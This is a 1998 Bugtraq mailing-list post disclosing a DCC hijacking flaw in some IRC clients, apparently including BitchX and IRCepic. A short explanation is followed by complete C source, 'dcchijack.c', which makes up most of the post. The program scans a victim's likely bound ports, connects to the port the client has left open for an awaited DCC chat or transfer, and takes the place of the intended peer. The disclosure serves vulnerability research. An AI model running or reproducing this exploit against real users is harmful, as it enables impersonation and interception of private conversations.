[8735] in bugtraq
Irc: another funny stuff. In some irc clients dcc may be hijacked.
daemon@ATHENA.MIT.EDU (awgn@COSMOS.IT)
Sat Dec 19 14:55:57 1998
Date: Sat, 19 Dec 1998 13:58:04 +0100
Reply-To: Bugtraq List <BUGTRAQ@NETSPACE.ORG>
From: awgn@COSMOS.IT
To: BUGTRAQ@NETSPACE.ORG
This is a multi-part message in MIME format.
--------------1350938954EAD0D34012BAE8
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
I just found a funny bug playing with some irc-client. DCC-chat may be
hijacked...
The trouble comes while clients bind port to accept or request a dcc
CHAT/SEND/ or RECEIVE.
Being this a simple TCP connection without any ip control.. the way to
exploit is trivial.
Here we go:
B , the hi-jacker wants to have fun with A. So he first creates a dcc
connection with A,
getting the port binded.
Now A is under attack since next ports used to create connections will
be quite consecutive to the first one. BitchX and IRCepic seem to be
affected with this matter. ( other clients???)
Now A tries to /dcc chat C, but this is just a bit lagged. ( C maybe a
bot? )
B , using the following source, is going to assume the identity of C
except for his host. :-)
I simply implemented some routines of my hailscan to guess which is the
port binded.
When it finds an open port, it establish a connection running a kinda
irc-client.
All of this is just for educational purpose only.
The source provided herein can be improved for better results.
awgn@cosmos.it
coding&networking division.
--------------1350938954EAD0D34012BAE8
Content-Type: text/plain; charset=us-ascii;
name="dcchijack.c"
Content-Transfer-Encoding: 7bit
Content-Disposition: inline;
filename="dcchijack.c"
/* Dcc hijack (c) 1998 awgn@cosmos.it
*
* Some pieces of this code are ripped from hailscan v 1.9908.
* available at www.dislessici.org. ( hosted at cosmos.it )
*
* CREDITS: cosmos.it -> this isp r0x!!!! ( Thansk to spider@cosmos.it )
* kasko, antirez & gigi_sull @seclab.com
*
* GREETINGS: *@dislessici.org , #hackers@ircity rappo,filo,cyber,litos,lordfelix...
* Sir-Alex: take it easy... only God knows the truth ;-).
* Thor: everyone is missing you.
* Jwk, jam, zorro , c1rp0, megat0n -> how is going your parser ? ;)
*
* #hackers@undernet.org ( expecially to my buddy nigr zerox)
* #america@undernet.org ( dedicated to my bro' sartre, exx & jeanlucP )
* #hackers.it@ircnet ( m0f0z - radon - Nail^d0d )
*
* NERVOUS! -> how can i forget your nick? hehe
*
* Tested on Linux and *BSD.
*
* This code is provided for educational purposes only. */
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <netdb.h>
#include <unistd.h>
#include <string.h>
#include <stdlib.h>
#include <stdio.h>
#include <fcntl.h>
#include <sys/time.h>
#include <unistd.h>
#include <errno.h>
#define MAXSOCKET 32
#define TIMEOUT 10
struct sockaddr_in newsock;
struct sweep {
int sock;
short port;
long sec;
long usec;
struct sweep *next;
};
struct sweep *sheet, *top_sheet;
int csock = 0;
int portcounter;
int
set_nonblock (int s)
{
int val = 0;
if ((val = fcntl (s, F_GETFL, val)) == -1)
return -1;
val |= O_NONBLOCK;
fcntl (s, F_SETFL, val);
return 0;
}
int
time_out (long int sec_a, long int usec_a, long int sec_b, long int usec_b, int time_max)
{
if ((((sec_a - sec_b) == time_max) && (usec_a > usec_b)) || ((sec_a - sec_b) > time_max))
return 1;
return 0;
}
int
push_sockets (void)
{
struct timeval actually;
gettimeofday (&actually, NULL);
if (!sheet->sock) {
sheet->sock = socket (AF_INET, SOCK_STREAM, 0);
if (set_nonblock (sheet->sock) == -1)
return 0;
sheet->sec = actually.tv_sec;
sheet->usec = actually.tv_usec;
sheet->port = portcounter++;
} else
return 0;
return 1;
}
u_long
getnbobyname (u_char * host)
{
struct in_addr addr;
struct hostent *host_ent;
if ((addr.s_addr = inet_addr (host)) == -1) {
if (!(host_ent = gethostbyname (host))) {
fprintf (stderr, "gethostbyname() or inet_addr() err:%s\n", strerror (errno));
return 0;
}
bcopy (host_ent->h_addr, (char *) &addr.s_addr, host_ent->h_length);
}
return addr.s_addr;
}
void
client (int s, char *str)
{
FILE *in, *out;
char in_line[1024];
char out_line[1024];
in = fdopen (s, "r");
out = fdopen (s, "a");
setlinebuf (in);
setlinebuf (out);
set_nonblock (s);
printf ("\nGotcha!\nDCC hijacked.\n\n\n");
while (1) {
while (fgets (in_line, 1024, in))
printf ("<%s> %s", str, in_line);
fgets (out_line, 1024, stdin);
if (strlen (out_line) > 1)
fprintf (out, "%s", out_line);
}
exit (0);
}
void
usage (char *name)
{
fprintf (stderr, "\ndcc-hijack (c) 1998 awgn@cosmos.it\n\n");
fprintf (stderr, "usage: %s host.of.dcc.asker baseport\n", name);
exit (1);
}
void
scan (unsigned long int a, int *out, unsigned short int *port)
{
struct timeval now;
int i = 0;
*out = 0;
*port = 0;
sheet = (struct sweep *) malloc (sizeof (struct sweep));
top_sheet = sheet;
for (; i < MAXSOCKET; i++) {
sheet->sock = 0;
sheet->next = (struct sweep *) malloc (sizeof (struct sweep));
sheet = sheet->next;
sheet->next = NULL;
}
sheet = top_sheet;
newsock.sin_addr.s_addr = a;
newsock.sin_family = AF_INET;
while (1) {
while (sheet->next) {
gettimeofday (&now, NULL);
if (!sheet->sock)
push_sockets ();
else {
if (time_out (now.tv_sec, now.tv_usec, sheet->sec, sheet->usec, TIMEOUT))
sheet->sock = 0;
else {
newsock.sin_port = htons ((u_short) sheet->port);
if (connect (sheet->sock, (struct sockaddr *) &newsock, sizeof (newsock)) == 0) {
*out = sheet->sock;
*port = sheet->port;
return;
} else
switch (errno) {
case EISCONN:
*out = sheet->sock;
*port = sheet->port;
return;
break;
case ETIMEDOUT:
case EINVAL:
case ECONNREFUSED:
case EADDRNOTAVAIL:
close(sheet->sock);
sheet->sock=0;
break;
}
}
}
sheet = sheet->next;
}
sheet = top_sheet;
}
return;
}
int
main (int argc, char **argv)
{
int nb0 = 0;
int sock = 0;
unsigned short port_guessed = 0;
if (argc < 3)
usage (argv[0]);
if (!(nb0 = (u_long) getnbobyname ((char *) argv[1]))) {
fprintf (stderr, "argv[1] err: which kind of host/ip did you pass me?\n");
exit (1);
}
if (!(portcounter = atoi (argv[2]))) {
fprintf (stderr, "port() err: which kind of port did you pass me?\n");
exit (1);
}
scan (nb0, &sock, &port_guessed);
if (!sock || !port_guessed) {
fprintf (stderr, "Sorry: no port found.\nDCC between clients may be already estabilished.\n");
exit (1);
}
client (sock, argv[1]);
return 0;
}
--------------1350938954EAD0D34012BAE8--